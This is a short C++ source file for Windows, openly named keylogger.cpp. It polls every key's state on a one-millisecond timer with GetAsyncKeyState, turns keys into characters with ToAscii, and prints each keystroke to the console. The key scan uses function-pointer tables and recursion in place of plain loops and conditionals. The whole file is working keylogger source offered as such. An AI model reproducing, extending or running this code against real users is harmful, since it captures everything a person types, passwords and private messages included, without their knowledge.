keylogger.cpp

#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "winmm.lib")

void Nothing(WORD wKey)
{
}

void PrintKey(WORD wKey)
{
	BYTE bKeyboardState[256] = { 0 };
	WORD wCharacter;

	bKeyboardState[VK_SHIFT] = (BYTE)((GetAsyncKeyState(VK_SHIFT) & 0x8000) >> 8);
	bKeyboardState[VK_CAPITAL] = (BYTE)GetKeyState(VK_CAPITAL);
	printf("%.*s", ToAscii(wKey, 0, bKeyboardState, &wCharacter, 0) & 1, (char*)&wCharacter);
}

void CheckNextKey(WORD wKey)
{
	void (*pFuncTable1[])(WORD) = { Nothing, PrintKey };
	void (*pFuncTable2[])(WORD) = { CheckNextKey, Nothing };
	pFuncTable1[GetAsyncKeyState(wKey) & 1](wKey);
	wKey++;
	pFuncTable2[wKey >> 8](wKey);
}

void CALLBACK TimerCallback(UINT uTimerID, UINT uMsg, DWORD_PTR dwUser, DWORD_PTR dw1, DWORD_PTR dw2)
{
	CheckNextKey(0);
}

int main()
{
	timeSetEvent(1, 1, TimerCallback, 0, TIME_PERIODIC);
	WaitForSingleObject(GetCurrentProcess(), INFINITE);
	return 0;
}